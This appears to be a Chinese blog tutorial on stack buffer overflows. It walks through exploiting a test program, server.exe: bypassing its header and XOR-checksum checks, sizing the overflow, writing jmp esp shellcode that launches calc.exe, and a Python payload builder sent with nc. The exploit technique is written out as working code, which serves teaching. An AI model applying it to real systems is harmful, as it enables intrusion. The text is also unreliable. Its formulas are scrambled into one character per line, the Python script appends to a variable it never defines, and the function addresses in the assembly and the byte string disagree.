栈溢出
如果程序在处理用户数据时,未能对其大小进行恰当的限制,在进行复制、填充时没对这些数据限定边界,攻击者就可以通过精心设计的数据进行溢出覆盖,修改内存中数据、改变程序的执行流程。
在栈溢出漏洞中,最经典的是借助跳板的栈溢出方式。
左图是一个正常的栈,从高到低依次是:父函数的栈空间、作为返回地址的EIP、保存下来的栈指针EBP、若干局部变量和用于被攻击的缓冲区。
现有的C语言中许多标准函数(如strcpy)在现在看来已经不再是安全的了,利用strcpy讲数据复制到局部数组缓冲区时可以超过缓冲区区域,覆盖其他栈帧的数据。根据覆盖的内容不同,可能有以下情况:
- 覆盖局部变量:如果该函数中存在判断输入值与局部变量的值是否相等的验证操作,那么就可以通过覆盖局部变量来通过验证。
- 覆盖ebp值:一般来讲覆盖了ebp值程序就玩完啦
- 覆盖返回地址:可以修改函数的返回地址,改变代码的执行流程。
由于栈的位置实际是不固定的,我们需要准确的定位shellcode的地址,需要借助jmp esp指令。我们可以在函数的返回地址中填入jmp esp指令的地址,当函数返回时,会执行指令jmp esp,跳回EIP的高地址处。我们可以用nop指令覆盖前面的所有空间,在EIP的高地址处放入我们想要执行的代码,这样不管程序被加载到哪个位置,最终都会执行这段代码。
描述
server.exe是一款测试软件,通过TCP连接来接收数据,对于输入的数据有一些条件验证,同时其中存在着strcpy()这样的不安全函数,存在栈溢出漏洞。
一.通过验证
-
首先得知前四个字段必须小于0x270F
-
接下来的前三个字段必须是EFDF01
-
switch case 只有3可以走通
-
esi中存放所有数据的异或结果,可以看到esi必须为12345678时才能通过校验
可以初步得到,我们需要构造的数据格式是:
表示数据长度的4个byte(需要小于0x270F) + EFDF0103 + 用来控制最终异或值为12345678的4个byte + 用来覆盖栈空间的nop指令 + jmp esp指令的地址 + shellcode
在构造好数据后,用来控制最终异或值为12345678的4个byte是可以确定的,将这4个byte初始时填为00000000h,使用od查看esi的值,假设值为ABCDEFGH,假设当这4个byte为
a
1
a
2
a
3
a
4
a
5
a
6
a
7
a
8
a_1a_2a_3a_4a_5a_6a_7a_8
a1a2a3a4a5a6a7a8时,所有数据的异或值为12345678,则有:
a
1
a
2
a
3
a
4
a
5
a
6
a
7
a
8
⨁
其
他
所
有
数
据
的
异
或
值
=
12345678
h
{a_1a_2a_3a_4a_5a_6a_7a_8} \bigoplus {其他所有数据的异或值} = 12345678h
a1a2a3a4a5a6a7a8⨁其他所有数据的异或值=12345678h
00000000
⨁
其
他
所
有
数
据
的
异
或
值
=
A
B
C
D
E
F
G
H
{00000000} \bigoplus {其他所有数据的异或值} = ABCDEFGH
00000000⨁其他所有数据的异或值=ABCDEFGH
因此
a
1
a
2
a
3
a
4
a
5
a
6
a
7
a
8
=
A
B
C
D
E
F
G
H
⨁
12345678
h
{a_1a_2a_3a_4a_5a_6a_7a_8} = {ABCDEFGH} \bigoplus {12345678h}
a1a2a3a4a5a6a7a8=ABCDEFGH⨁12345678h
二、确定长度
开始的表示数据长度的4个byte和nop空指令的个数需要确定
在发生栈溢出的子函数中寻找,dword ptr ss:[esp+0x1E]是拷贝的目的地址,用eax将这个目的地址保存下来并压入栈中,再调用strcpy函数。可以得到局部缓冲区的大小是0x9FC-0x1E = 2526(byte)。因为开始4个byte的长度字段并不存入这个缓冲区,所以:
(表示数据长度的4个byte + EFDF0103 + 用来控制最终异或值为12345678的4个byte + 用来覆盖栈空间的nop指令 )长度之和需要等于2530。
表示数据长度的4个byte = 2530+shellcode的长度
三、shellcode构造
.386;
.model flat, stdcall
option casemap :none ; case sensitive
include c:\masm32\include\windows.inc
include c:\masm32\include\comctl32.inc
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\user32.lib
include C:\masm32\include\kernel32.inc
include C:\masm32\include\user32.inc
includelib c:\masm32\lib\comctl32.lib
.code
_start:
jmp short gotocall
shellcode:
pop esi
xor eax,eax
mov byte ptr[esi+8],al
mov ebx,esi
push ebx
mov ebx,75ABB16Fh ;system的地址
call ebx
mov ebx,777036AAh ;exit的地址
call ebx
gotocall:
call shellcode
db'calc.exeddd'
end _start
这段代码实现了system(‘calc.exe’)的功能,将其编译
c:\masm32\bin\ml.exe /coff /Cp shellcode.asm c:\masm32\bin\link.exe /subsystem:windows /section:.text,rwe
用winhex打开查看二进制代码,找到code段,就是我们需要的shellcode
#!/usr/bin/python3
import struct
import sys
import ctypes
shellcode += "\x0B\x0A\x00\x00" # 长度字段 总长度
shellcode += "\xEF\xDF\x01\x03" # 固定字段
shellcode += "\x00\x00\x00\x00" # 用于控制异或值为12345678h
shellcode += "\x90"*(3000-len(shellcode)) # 数字3000这里填入的值是自己的局部缓冲区长度+4
print(len(shellcode))
shellcode += "\x91\xB3\x75\x77" # jmp esp 的地址 需要在内存中寻找
shellcode +=(
"\xEB\x17\x5E\x33\xC0\x88\x46\x08\x8B\xDE\x53\xBB"
"\x6F\xB1\x74\x77" # system的地址
"\xFF\xD3\xBB"
"\x10\x7A\x5F\x77" # exit的地址
"\xFF\xD3\xE8\xE4\xFF\xFF\xFF"
"\x63\x61\x6C\x63\x2E\x65\x78\x65\x64\x64\x64"
)
print(len(shellcode))
shellcode=shellcode.encode('latin-1')
shellcode = bytearray(shellcode)
# Save the binary code to file
with open('dum.txt', 'wb') as f:
f.write(shellcode)
用nc向其发送dum.txt即可实现弹出计算器
可能有用:
https://blog.csdn.net/Tracy_yi/article/details/125046477?spm=1001.2014.3001.5501
https://blog.csdn.net/Tracy_yi/article/details/125032816?spm=1001.2014.3001.5501
欢迎指正